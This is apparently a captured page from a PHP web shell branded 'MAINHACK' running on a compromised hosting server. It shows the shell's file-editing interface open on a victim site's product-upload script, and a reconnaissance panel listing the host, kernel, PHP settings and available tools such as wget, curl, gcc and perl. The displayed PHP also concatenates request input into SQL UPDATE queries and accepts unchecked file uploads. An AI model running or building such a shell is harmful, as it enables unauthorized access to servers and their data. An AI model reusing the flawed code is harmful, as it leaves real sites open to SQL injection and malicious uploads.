[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit-product-services.php
<?php include('header.php');$cid=base64_decode($_REQUEST['cid']); ?> <!-- USER --> <div class="inner-banner"> <img src="images/user-bg.jpg" alt="banner"> </div> <!-- Social Media Links --> <div class="company-details"> <div class="container"> <h1>Update Products & Gallery</h1> <br> <div class="theme-box aos-init aos-animate" data-aos="fade-down" style="transition:all 1600ms ease-in-out;text-align: center;display: block;"> <form method="post" action="" enctype="multipart/form-data"> <h2>Services & Product <span>(Upload images with in 250 KB each image)</span></h2> <br> <?php $count=1; $sr='service'; $stmt =$show->readwithdata('service','card_id',$cid); $num = $stmt->rowCount(); while ($row1 = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row1); $id=$row1['id']; ?> <div class="form-left-to-w3l " id="b_name"> <label>Product / services name</label> <input type="text" placeholder="Product / services name" value="<?=$row1['service_title']?>" name="service_title[]" id="paytm_number"> <?php if ($row1['service_img'] !=''){ ?> <label>Choose Image</label> <img src="documents/<?=$row1['service_img']?>" width="80px"; height="90px"; > <input type="file" name="service_img[]" id="paytm_img" value="documents/<?=$row1['service_img']?>" onchange="return fileValidation('logo')" > <input type="hidden" name="id[]" value="<?=$row1['id']?>"> <input type="hidden" name="img_ser[]" value="<?=$row1['service_img']?>"> <?php }else{?> <label>Choose Image</label> <input type="file" name="service_img[]" id="logo1" onchange="return fileValidation('logo1')" > <input type="hidden" name="id[]" value="<?=$row1['id']?>"> <input type="hidden" name="img_ser[]" value="<?=$row1['service_img']?>"> <?php }?> </div> <?php ++$count;} $run_loop=5-$count; for($i=0;$i<=$run_loop;$i++){ ?> <div class="form-left-to-w3l " id="b_name"> <label>Product / services name</label> <input type="text" placeholder="Product / services name" value="<?=$row1['service_title']?>" name="service_title_add[]" id="paytm_number"> <label>Choose Image</label> <input type="file" name="service_img_add[]" id="service_img_add" onchange="return fileValidation('service_img_add')" > </div> <?php } ?> <h2>Services Image Gallery <span>( upload unlimited images )</span></h2> <br> <?php $count1=1; $sr='gallery'; $stmt =$show->readwithdata('gallery','card_id',$cid); $num = $stmt->rowCount(); while ($row1 = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row1); $id=$row1['id']; ?> <div class="form-left-to-w3l " id="b_name"> <?php if ($row1['img'] !=''){ ?> <label>Choose Image</label> <input type="file" name="img[]" id="img" onchange="return fileValidation('img')" > <input type="hidden" name="gal_id[]" value="<?=$row1['id']?>"> <input type="hidden" name="gal_img[]" value="<?=$row1['img']?>"> <?php }else{?> <label>Choose Image</label> <input type="file" name="img[]" id="img" onchange="return fileValidation('img')" > <input type="text" name="gal_id[]" value="<?=$row1['id']?>"> <input type="hidden" name="gal_img[]" value="<?=$row1['img']?>"> <?php }?> <img src="documents/<?=$row1['img']?>" width="80px"; height="90px"; > </div> <?php ++$count1; } $run_loop1=5-$count1; for($i=0;$i<=$run_loop1;$i++){ ?> <div class="form-left-to-w3l " id="b_name"> <input type="file" id="myFile" name="myFile[]" onchange="return fileValidation('myFile')" > </div> <?php } ?> <div class="form-sub-acc"> <div class="form-sub"> <input type="submit" class="" name="sub" id="sub" value="Submit"> <a href="user.php" class="btn btn-success">Skip</a> </div> </div> </form> <?php if(isset($_POST['sub'])){ //update service tab foreach($_POST['service_title'] as $key=>$service){ if($service!=NULL){ if(file_exists($_FILES['service_img']['tmp_name'][$key]) || is_uploaded_file($_FILES['service_img']['tmp_name'][$key])) { $img=$show->imageEdit($_FILES['service_img']['name'][$key]); move_uploaded_file($_FILES['service_img']['tmp_name'][$key],"documents/".$img); }else{ $img=$_POST['img_ser'][$key];} $id=$_POST['id'][$key]; $update="update service set service_img='".$img."',service_title='".htmlentities(strip_tags($service))."' where id=".$id.""; echo $update; $r1=$con->prepare($update); $r1->execute(); } } //update service tab //insert service tab foreach($_POST['service_title_add'] as $key=>$service){ if($service!=NULL){ if(file_exists($_FILES['service_img_add']['tmp_name'][$key]) || is_uploaded_file($_FILES['service_img_add']['tmp_name'][$key])) { $img=$show->imageEdit($_FILES['service_img_add']['name'][$key]); move_uploaded_file($_FILES['service_img_add']['tmp_name'][$key],"documents/".$img); }else{ $img='';} $data=array( 'client_id'=>$_SESSION['login_id'], 'service_title'=>htmlentities(strip_tags($service)), 'service_img'=>$img, 'date'=>date('Y-m-d'), 'card_id'=>$cid ); $r2=$show->insert('service',$data); } } //insert service tab //update gallery tab foreach($_FILES['img']['name'] as $key=>$gallery){ if($gallery!=NULL){ if(file_exists($_FILES['img']['tmp_name'][$key]) || is_uploaded_file($_FILES['img']['tmp_name'][$key])) { $img=$show->imageEdit($_FILES['img']['name'][$key]); move_uploaded_file($_FILES['img']['tmp_name'][$key],"documents/".$img); }else{ $img=$_POST['gal_img'][$key];} $id=$_POST['gal_id'][$key]; $update="update gallery set img='".$img."' where id=".$id.""; $r3=$con->prepare($update); $r3->execute(); } } //insert gallery tab foreach($_FILES['myFile']['name'] as $key=>$gallery){ if($gallery!=NULL){ if(file_exists($_FILES['myFile']['tmp_name'][$key]) || is_uploaded_file($_FILES['myFile']['tmp_name'][$key])) { $img=$show->imageEdit($_FILES['myFile']['name'][$key]); move_uploaded_file($_FILES['myFile']['tmp_name'][$key],"documents/".$img); }else{ $img='';} $data=array( 'client_id'=>$_SESSION['login_id'], 'img'=>$img, 'date'=>date('Y-m-d'), 'card_id'=>$cid ); // print_r($data); $r4=$show->insert('gallery',$data); } } //insert gallery tab if($r1 || $r2 || $r3 || $r4){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: " Service details updated.", type: "success" }, function() { window.location = "user.php"; }); }, 1000); </script>'; } }?> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619